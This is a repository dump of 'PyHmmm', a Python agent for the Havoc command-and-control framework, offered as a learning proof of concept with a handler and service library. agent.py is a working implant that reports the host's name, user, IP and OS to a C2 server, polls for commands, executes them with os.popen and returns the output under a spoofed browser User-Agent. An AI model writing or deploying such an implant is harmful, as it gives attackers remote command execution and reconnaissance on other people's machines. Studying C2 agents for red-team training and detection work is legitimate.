├── README.md ├── agent.py ├── demo.png ├── handler.py ├── havoc ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-310.pyc │ ├── agent.cpython-310.pyc │ ├── externalc2.cpython-310.pyc │ └── service.cpython-310.pyc ├── agent.py ├── externalc2.py └── service.py ├── pyhmmm.png └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # PyHmmm 2 |

3 | 4 |

5 | 6 | ## What is this? 7 | This is a third party agent for Havoc C2 written in python. It is intended to be a basic PoC used to learn how to write custom Havoc agents, with its accompanying blog post https://codex-7.gitbook.io/codexs-terminal-window/red-team/red-team-dev/extending-havoc-c2/third-party-agents 8 | 9 | ## Features 10 | It currently only supports 2 commands: 11 | - shell {system command} 12 | - exit 13 | 14 | It is *not* meant to be OPSEC safe or safe to use in real life. It was meant to be used to learn the Havoc agent spec. I am working on an improved version that is safer to use in real environments (encrypted comms etc.) and that will be linked here when it's done. 15 | ## Install 16 | 17 | ``` 18 | sudo pip install -r requirements 19 | ``` 20 | 21 | ## Usage 22 | 1. start Havoc teamserver 23 | 2. python handler.py 24 | 3. python agent.py 25 | 26 | Be sure to manually modify the ip address and port in the agent manually, I didn't write the GUI auto generator script yet ;-; 27 | 28 | ## Why did you name it this? This is a dumb name! 29 | I literally could not think of a name and it was like 2 minutes to Havoc drop. Decided to name it after a funny emote. 30 | ![image](https://user-images.githubusercontent.com/29991665/193332178-506de9b7-160f-46da-9be7-e76446c8b729.png) 31 | 32 | 33 | Have fun 34 | ~ CodeX 35 | -------------------------------------------------------------------------------- /agent.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import socket 4 | import time 5 | import os 6 | import sys 7 | import random 8 | import string 9 | import platform 10 | 11 | 12 | 13 | url = 'http://127.0.0.1/test' 14 | magic = b"\x41\x41\x41\x41" 15 | agentid = 234234 # this values is changed later with a random one 16 | user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36' 17 | 18 | 19 | def get_random_string(length): 20 | # choose from all lowercase letter 21 | letters = string.ascii_lowercase 22 | result_str = ''.join(random.choice(letters) for i in range(length)) 23 | return result_str 24 | 25 | def checkin(data): 26 | 27 | print("Checking in for taskings") 28 | requestdict = {"task":"gettask","data":data} 29 | requestblob = json.dumps(requestdict) 30 | size = len(requestblob) + 12 31 | size_bytes = size.to_bytes(4, 'big') 32 | agentheader = size_bytes + magic + agentid 33 | 34 | headers = {'User-Agent': user_agent} 35 | x = requests.post(url, headers=headers, data=agentheader+requestblob.encode("utf-8")) 36 | for key, value in x.headers.items(): 37 | print(f"{key}: {value}") 38 | 39 | if len(x.text) > 0: 40 | print("Havoc response: " + x.text) 41 | return x.text 42 | 43 | def register(): 44 | 45 | # Register info: 46 | # - AgentID : int [needed] 47 | # - Hostname : str [needed]agenmt 48 | # - Username : str [needed] 49 | # - Domain : str [optional] 50 | # - InternalIP : str [needed] 51 | # - Process Path : str [needed] 52 | # - Process Name : str [needed] 53 | # - Process ID : int [needed] 54 | # - Process Parent ID : int [optional] 55 | # - Process Arch : str [needed] 56 | # - Process Elevated : int [needed] 57 | # - OS Build : str [needed] 58 | # - OS Version : str [needed] 59 | # - OS Arch : str [optional] 60 | # - Sleep : int [optional] 61 | hostname = socket.gethostname() 62 | registerdict = { 63 | "AgentID": str(agentid), 64 | "Hostname": hostname, 65 | "Username": os.getlogin(), 66 | "Domain": "", 67 | "InternalIP": socket.gethostbyname(hostname), 68 | "Process Path": os.getcwd(), 69 | "Process ID": str(os.getpid()), 70 | "Process Parent ID": "0", 71 | "Process Arch": "x64", 72 | "Process Elevated": 0, 73 | "OS Build": "NOT IMPLEMENTED YET", 74 | "Sleep": 1, 75 | "Process Name": "python", 76 | "OS Version": str(platform.version()) 77 | } 78 | registerblob = json.dumps(registerdict) 79 | requestdict = {"task":"register","data":registerblob} 80 | requestblob = json.dumps(requestdict) 81 | size = len(requestblob) + 12 82 | size_bytes = size.to_bytes(4, 'big') 83 | agentheader = size_bytes + magic + agentid 84 | print("[?] trying to register the agent") 85 | headers = {'User-Agent': user_agent} 86 | x = requests.post(url, headers=headers, data=agentheader+requestblob.encode("utf-8")) 87 | for key, value in x.headers.items(): 88 | print(f"{key}: {value}") 89 | 90 | print(x.text) 91 | 92 | return str(x.text) 93 | 94 | def runcommand(command): 95 | command = command.strip("\x00") 96 | if command == "goodbye": 97 | sys.exit(2) 98 | print(command) 99 | output = os.popen(command).read() + "\n" 100 | return output 101 | 102 | def main(): 103 | global agentid 104 | agentid = get_random_string(4).encode('utf-8') 105 | agentheader = magic + agentid 106 | sleeptime = 5 107 | registered = "" 108 | outputdata = "" 109 | 110 | #register the agent 111 | while registered != "registered": 112 | registered = register() 113 | print("REGISTERED!") 114 | 115 | #checkin for commands 116 | while True: 117 | commands = checkin(outputdata) 118 | outputdata = "" 119 | if len(commands) > 4: 120 | commandsarray = commands.split(commands[0:4]) 121 | for x in commandsarray: 122 | outputdata += runcommand(x) 123 | 124 | time.sleep(sleeptime) 125 | 126 | if __name__ == "__main__": 127 | main() -------------------------------------------------------------------------------- /demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/demo.png -------------------------------------------------------------------------------- /handler.py: -------------------------------------------------------------------------------- 1 | from base64 import b64decode 2 | import json 3 | from havoc.service import HavocService 4 | from havoc.agent import * 5 | import os 6 | 7 | COMMAND_REGISTER = 0x100 8 | COMMAND_GET_JOB = 0x101 9 | COMMAND_NO_JOB = 0x102 10 | COMMAND_SHELL = 0x152 11 | COMMAND_EXIT = 0x155 12 | COMMAND_OUTPUT = 0x200 13 | 14 | # ==================== 15 | # ===== Commands ===== 16 | # ==================== 17 | class CommandShell(Command): 18 | CommandId = COMMAND_SHELL 19 | Name = "shell" 20 | Description = "executes commands" 21 | Help = "" 22 | NeedAdmin = False 23 | Params = [ 24 | CommandParam( 25 | name="commands", 26 | is_file_path=False, 27 | is_optional=False 28 | ) 29 | ] 30 | Mitr = [] 31 | 32 | def job_generate( self, arguments: dict ) -> bytes: 33 | Task = Packer() 34 | 35 | Task.add_data(arguments[ 'commands' ]) 36 | return Task.buffer 37 | 38 | class CommandExit( Command ): 39 | CommandId = COMMAND_EXIT 40 | Name = "exit" 41 | Description = "tells the python agent to exit" 42 | Help = "" 43 | NeedAdmin = False 44 | Mitr = [] 45 | Params = [] 46 | 47 | def job_generate( self, arguments: dict ) -> bytes: 48 | 49 | Task = Packer() 50 | 51 | Task.add_data("goodbye") 52 | 53 | return Task.buffer 54 | 55 | # ======================= 56 | # ===== Agent Class ===== 57 | # ======================= 58 | class python(AgentType): 59 | Name = "PyHmmm" 60 | Author = "@codex_tf2 @ Al130" 61 | Version = "0.2" 62 | Description = f"""python 3rd party agent for Havoc""" 63 | MagicValue = 0x41414141 64 | 65 | Arch = [ 66 | "x64", 67 | "x86", 68 | ] 69 | 70 | Formats = [ 71 | { 72 | "Name": "Python script", 73 | "Extension": "py", 74 | }, 75 | ] 76 | 77 | BuildingConfig = { 78 | "Sleep": "10" 79 | } 80 | 81 | Commands = [ 82 | CommandShell(), 83 | CommandExit(), 84 | ] 85 | 86 | # generate. this function is getting executed when the Havoc client requests for a binary/executable/payload. you can generate your payloads in this function. 87 | def generate( self, config: dict ) -> None: 88 | 89 | print( f"config: {config}" ) 90 | 91 | # builder_send_message. this function send logs/messages to the payload build for verbose information or sending errors (if something went wrong). 92 | self.builder_send_message( config[ 'ClientID' ], "Info", f"hello from service builder" ) 93 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Options Config: {config['Options']}" ) 94 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Agent Config: {config['Config']}" ) 95 | 96 | # build_send_payload. this function send back your generated payload 97 | self.builder_send_payload( config[ 'ClientID' ], self.Name + ".bin", "test bytes".encode('utf-8') ) # this is just an example. 98 | 99 | # this function handles incomming requests based on our magic value. you can respond to the agent by returning your data from this function. 100 | def response( self, response: dict ) -> bytes: 101 | agent_header = response[ "AgentHeader" ] 102 | 103 | print("Receieved request from agent") 104 | agent_header = response[ "AgentHeader" ] 105 | agent_response = b64decode( response[ "Response" ] ) # the teamserver base64 encodes the request. 106 | #print(agent_response) 107 | agentjson = json.loads(agent_response) 108 | #print(agent_header) 109 | if agentjson["task"] == "register": 110 | #print(json.dumps(agentjson,indent=4)) 111 | print("[*] Registered agent") 112 | self.register( agent_header, json.loads(agentjson["data"]) ) 113 | AgentID = response[ "AgentHeader" ]["AgentID"] 114 | self.console_message( AgentID, "Good", f"Python agent {AgentID} registered", "" ) 115 | return b'registered' 116 | elif agentjson["task"] == "gettask": 117 | 118 | AgentID = response[ "Agent" ][ "NameID" ] 119 | #self.console_message( AgentID, "Good", "Host checkin", "" ) 120 | 121 | print("[*] Agent requested taskings") 122 | Tasks = self.get_task_queue( response[ "Agent" ] ) 123 | print("Tasks retrieved") 124 | if len(agentjson["data"]) > 0: 125 | print("Output: " + agentjson["data"]) 126 | self.console_message( AgentID, "Good", "Received Output:", agentjson["data"] ) 127 | print(Tasks) 128 | return Tasks 129 | 130 | 131 | 132 | def main(): 133 | Havoc_python = python() 134 | print(os.getpid()) 135 | print( "[*] Connect to Havoc service api" ) 136 | havoc_service = HavocService( 137 | endpoint="wss://127.0.0.1:40056/service-endpoint", 138 | password="service-password" 139 | ) 140 | 141 | print( "[*] Register python to Havoc" ) 142 | havoc_service.register_agent(Havoc_python) 143 | 144 | return 145 | 146 | 147 | if __name__ == '__main__': 148 | main() 149 | -------------------------------------------------------------------------------- /havoc/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__init__.py -------------------------------------------------------------------------------- /havoc/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /havoc/__pycache__/agent.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/agent.cpython-310.pyc -------------------------------------------------------------------------------- /havoc/__pycache__/externalc2.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/externalc2.cpython-310.pyc -------------------------------------------------------------------------------- /havoc/__pycache__/service.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/service.cpython-310.pyc -------------------------------------------------------------------------------- /havoc/agent.py: -------------------------------------------------------------------------------- 1 | from asyncio import Task 2 | import base64 3 | import json 4 | import struct 5 | import uuid 6 | import random 7 | import string 8 | from struct import pack, calcsize 9 | 10 | from black import out 11 | from itsdangerous import base64_encode 12 | 13 | 14 | def build_request(head_type, body: dict) -> dict: 15 | return { 16 | "Head": { 17 | "Type": head_type 18 | }, 19 | "Body": body 20 | } 21 | 22 | 23 | class Packer: 24 | buffer: bytes = b'' 25 | length: int = 0 26 | 27 | def get_buffer( self ) -> bytes: 28 | return pack( " None: 31 | 32 | self.buffer += pack( " None: 38 | 39 | if isinstance( data, str ): 40 | data = data.encode( "utf-8" ) 41 | 42 | fmt = " None: 48 | 49 | print( f"[*] Buffer: [{ self.length }] [{ self.get_buffer() }]" ) 50 | 51 | return 52 | 53 | 54 | class Parser: 55 | buffer: bytes = b'' 56 | length: int = 0 57 | 58 | def __init__( self, buffer, length ): 59 | 60 | self.buffer = buffer 61 | self.length = length 62 | 63 | return 64 | 65 | def parse_int( self ) -> int: 66 | 67 | val = struct.unpack( ">i", self.buffer[ :4 ] ) 68 | self.buffer = self.buffer[ 4: ] 69 | 70 | return val[ 0 ] 71 | 72 | def parse_bytes( self ) -> bytes: 73 | 74 | length = self.parse_int() 75 | 76 | buf = self.buffer[ :length ] 77 | self.buffer = self.buffer[ length: ] 78 | 79 | return buf 80 | 81 | def parse_pad( self, length: int ) -> bytes: 82 | 83 | buf = self.buffer[ :length ] 84 | self.buffer = self.buffer[ length: ] 85 | 86 | return buf 87 | 88 | def parse_str( self ) -> str: 89 | return self.parse_bytes().decode( 'utf-8' ) 90 | 91 | class CommandParam: 92 | Name: str 93 | IsFilePath: bool 94 | IsOptional: bool 95 | 96 | def __init__( self, name: str, is_file_path: bool, is_optional: bool ): 97 | 98 | self.Name = name 99 | self.IsFilePath = is_file_path 100 | self.IsOptional = is_optional 101 | 102 | return 103 | 104 | 105 | class Command: 106 | Name: str 107 | Description: str 108 | Help: str 109 | NeedAdmin: bool 110 | Mitr: list[ str ] 111 | Params: list[ CommandParam ] 112 | CommandId: int 113 | 114 | def job_generate( self, arguments: dict ) -> bytes: 115 | pass 116 | 117 | def get_dict( self ) -> dict: 118 | return { 119 | "Name": self.Name, 120 | "Author": self.Author, # todo: remove this 121 | "Description": self.Description, 122 | "Help": self.Help, 123 | "NeedAdmin": self.NeedAdmin, 124 | "Mitr": self.Mitr, 125 | } 126 | 127 | 128 | class AgentType: 129 | Name: str 130 | Author: str 131 | Version: str 132 | MagicValue: int 133 | Description: str 134 | Arch = list[ str ] 135 | Formats = list[ dict ] 136 | Commands: list[ Command ] 137 | BuildingConfig = dict 138 | 139 | _Service_instance = None 140 | 141 | _current_data: dict = {} 142 | 143 | def task_prepare( self, arguments: dict ) -> bytes: 144 | 145 | for cmd in self.Commands: 146 | if arguments[ "Command" ] == cmd.Name: 147 | return cmd.job_generate( arguments ) 148 | 149 | def generate( self, config: dict ) -> None: 150 | pass 151 | 152 | def download_file( self, agent_id: str, file_name: str, size: int, content: str ) -> None: 153 | ContentB64 = base64.b64encode( content.encode( 'utf-8' ) ).decode( 'utf-8' ) 154 | 155 | self._Service_instance.Socket.send( 156 | json.dumps( 157 | { 158 | "Head": { 159 | "Type": "Agent" 160 | }, 161 | "Body": { 162 | "Type" : "AgentOutput", 163 | "AgentID" : agent_id, 164 | "Callback" : { 165 | "MiscType" : "download", 166 | "FileName" : file_name, 167 | "Size" : size, 168 | "Content" : ContentB64 169 | } 170 | } 171 | } 172 | ) 173 | ) 174 | 175 | return 176 | 177 | def console_message( self, agent_id: str, type: str, message: str, output: str ) -> None: 178 | 179 | self._Service_instance.Socket.send( 180 | json.dumps( 181 | { 182 | "Head": { 183 | "Type": "Agent" 184 | }, 185 | "Body": { 186 | "Type" : "AgentOutput", 187 | "AgentID" : agent_id, 188 | "Callback" : { 189 | "Type" : type, 190 | "Message": message, 191 | "Output" : output 192 | } 193 | } 194 | } 195 | ) 196 | ) 197 | 198 | return 199 | 200 | def get_task_queue( self, AgentInfo: dict ) -> bytes: 201 | 202 | RandID : str = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(6)) 203 | Tasks : bytes = b'' 204 | 205 | self._Service_instance.Socket.send( 206 | json.dumps( 207 | { 208 | "Head": { 209 | "Type": "Agent" 210 | }, 211 | "Body": { 212 | "Type" : "AgentTask", 213 | "Agent": AgentInfo, 214 | "Task": "Get", 215 | "RandID": RandID 216 | } 217 | } 218 | ) 219 | ) 220 | 221 | while ( True ): 222 | if RandID in self._current_data: 223 | Tasks = self._current_data[ RandID ] 224 | del self._current_data[ RandID ] 225 | break 226 | else: 227 | continue 228 | 229 | return Tasks 230 | 231 | def register( self, agent_header: dict, register_info: dict ): 232 | self._Service_instance.Socket.send( 233 | json.dumps( 234 | { 235 | "Head": { 236 | "Type": "Agent" 237 | }, 238 | "Body": { 239 | "Type": "AgentRegister", 240 | "AgentHeader" : agent_header, 241 | "RegisterInfo": register_info 242 | } 243 | } 244 | ) 245 | ) 246 | 247 | return 248 | 249 | def response( self, response: dict ) -> bytes: 250 | pass 251 | 252 | def builder_send_message(self, client_id: str, msg_type: str, message: str): 253 | 254 | self._Service_instance.Socket.send( 255 | json.dumps( 256 | { 257 | "Head": { 258 | "Type": "Agent" 259 | }, 260 | "Body": { 261 | "ClientID": client_id, 262 | "Type": "AgentBuild", 263 | "Message": { 264 | "Type": msg_type, 265 | "Message": message 266 | } 267 | } 268 | } 269 | ) 270 | ) 271 | 272 | return 273 | 274 | def builder_send_payload( self, client_id: str, filename: str, payload: bytes ): 275 | 276 | self._Service_instance.Socket.send( 277 | json.dumps( 278 | build_request("Agent", { 279 | "ClientID": client_id, 280 | "Type": "AgentBuild", 281 | "Message": { 282 | "FileName": filename, 283 | "Payload": base64.b64encode(payload).decode('utf-8') 284 | } 285 | }) 286 | ) 287 | ) 288 | 289 | return 290 | 291 | def get_dict( self ) -> dict: 292 | AgentCommands: list[ dict ] = [] 293 | 294 | for command in self.Commands: 295 | command_params: list[dict] = [] 296 | 297 | for param in command.Params: 298 | command_params.append( { 299 | "Name": param.Name, 300 | "IsFilePath": param.IsFilePath, 301 | "IsOptional": param.IsOptional, 302 | } ) 303 | 304 | AgentCommands.append( { 305 | "Name": command.Name, 306 | "Description": command.Description, 307 | "Help": command.Help, 308 | "NeedAdmin": command.NeedAdmin, 309 | "Mitr": command.Mitr, 310 | "Params": command_params 311 | } ) 312 | 313 | return { 314 | "Name": self.Name, 315 | "MagicValue": hex( self.MagicValue ), 316 | "BuildingConfig": self.BuildingConfig, 317 | "Arch": self.Arch, 318 | "Formats": self.Formats, 319 | "Author": self.Author, 320 | "Description": self.Description, 321 | "Commands": AgentCommands 322 | } 323 | -------------------------------------------------------------------------------- /havoc/externalc2.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | import requests 4 | 5 | 6 | class ExternalC2: 7 | Server: str = '' 8 | 9 | def __init__( self, server ) -> None: 10 | self.Server = server 11 | return 12 | 13 | def transmit( self, data ) -> bytes: 14 | agent_response = b'' 15 | 16 | try: 17 | response = requests.post( self.Server, data=data ) 18 | agent_response = base64.b64decode(response.text) 19 | 20 | except Exception as e: 21 | print( f"[-] Exception: {e}" ) 22 | 23 | return agent_response 24 | 25 | -------------------------------------------------------------------------------- /havoc/service.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from cgi import print_form 3 | 4 | from havoc.agent import AgentType 5 | from havoc.externalc2 import ExternalC2 6 | from threading import Thread 7 | 8 | import websocket 9 | import json 10 | import ssl 11 | 12 | 13 | def build_request(head_type, body: dict) -> dict: 14 | return { 15 | "Head": { 16 | "Type": head_type 17 | }, 18 | "Body": body 19 | } 20 | 21 | 22 | class HavocService: 23 | 24 | Socket: websocket.WebSocketApp = None 25 | Teamserver: str = None 26 | Endpoint: str = None 27 | Password: str = None 28 | Connected: bool = False 29 | RegisteredAgent: AgentType = None 30 | 31 | def __init__(self, endpoint: str, password: str): 32 | 33 | if len(endpoint) > 0: 34 | self.Endpoint = endpoint 35 | else: 36 | print("[!] endpoint not specified.") 37 | 38 | if len(password) > 0: 39 | self.Password = password 40 | else: 41 | print("[!] password not specified.") 42 | 43 | self.Socket = websocket.WebSocketApp( 44 | endpoint, 45 | on_error=self.__ws_on_error, 46 | on_message=self.__ws_on_message, 47 | on_open=self.__ws_on_open 48 | ) 49 | 50 | Thread( target=self.Socket.run_forever, kwargs={'sslopt': {'check_hostname': False, "cert_reqs": ssl.CERT_NONE}} ).start() 51 | 52 | while True: 53 | if self.Connected: 54 | break 55 | 56 | return 57 | 58 | def __ws_on_error(self, wsapp, error): 59 | print("[-] Websocket error:", error) 60 | 61 | def __ws_on_open(self, socket): 62 | print("[*] teamserver socket opened") 63 | 64 | request = json.dumps( 65 | build_request("Register", { 66 | "Password": self.Password 67 | }), 68 | sort_keys=True 69 | ) 70 | 71 | socket.send( request ) 72 | return 73 | 74 | def __ws_on_message( self, ws, data ): 75 | print( "[*] New Message" ) 76 | 77 | data = json.loads( data ) 78 | 79 | t = Thread(target=self.service_dispatch, args=(data,)) 80 | t.start() 81 | 82 | # self.service_dispatch( json.loads( data ) ) 83 | 84 | return 85 | 86 | def register_agent( self, agent_type: AgentType ): 87 | 88 | # todo: check BuildConfig if everything is by rule 89 | 90 | if self.RegisteredAgent is None: 91 | print( "[*] register agent" ) 92 | 93 | self.RegisteredAgent = agent_type 94 | self.RegisteredAgent._Service_instance = self 95 | 96 | request = json.dumps( 97 | build_request( "RegisterAgent", { 98 | "Agent": agent_type.get_dict() 99 | } ), 100 | sort_keys=True 101 | ) 102 | 103 | self.Socket.send( request ) 104 | else: 105 | print( "[!] Agent already registered" ) 106 | 107 | return 108 | 109 | def register_externalc2( self, externalc2: ExternalC2 ): 110 | 111 | if self.ExternalC2 is None: 112 | 113 | self.ExternalC2 = externalc2 114 | self.ExternalC2._Service_instance = self 115 | 116 | request = json.dumps( 117 | build_request("RegisterAgent", { 118 | "Agent": agent_type.get_dict() 119 | }), 120 | sort_keys=True 121 | ) 122 | 123 | self.Socket.send(request) 124 | else: 125 | print( "[-] External C2 already registered" ) 126 | 127 | return 128 | 129 | def service_dispatch( self, data: dict ): 130 | 131 | match data[ "Head" ][ "Type" ]: 132 | 133 | case "Register": 134 | 135 | self.Connected = data[ "Body" ][ "Success" ] 136 | 137 | return 138 | 139 | case "RegisterAgent": 140 | return 141 | 142 | case "Agent": 143 | 144 | match data[ "Body" ][ "Type" ]: 145 | 146 | case "AgentTask": 147 | 148 | if data[ "Body" ][ "Task" ] == "Get": 149 | RandID = data[ "Body" ][ "RandID" ] 150 | Tasks = base64.b64decode( data[ "Body" ][ "TasksQueue" ] ) 151 | 152 | print( f"Set TasksQueue to {RandID} = {Tasks.hex()}" ) 153 | 154 | self.RegisteredAgent._current_data[ RandID ] = Tasks 155 | 156 | elif data[ "Body" ][ "Task" ] == "Add": 157 | data[ "Body" ][ "Command" ] = base64.b64encode( self.RegisteredAgent.task_prepare( data[ 'Body' ][ 'Command' ] ) ).decode( 'utf-8' ) 158 | 159 | self.Socket.send( json.dumps( data ) ) 160 | 161 | case "AgentResponse": 162 | 163 | agent_response = self.RegisteredAgent.response( data[ "Body" ] ) 164 | data[ "Body" ][ "Response" ] = base64.b64encode( agent_response ).decode( 'utf-8' ) 165 | 166 | self.Socket.send( json.dumps( data ) ) 167 | 168 | case "AgentBuild": 169 | 170 | self.RegisteredAgent.generate( data[ "Body" ] ) 171 | 172 | return 173 | -------------------------------------------------------------------------------- /pyhmmm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/pyhmmm.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | black 2 | flask 3 | itsdangerous 4 | requests 5 | websocket-client 6 | --------------------------------------------------------------------------------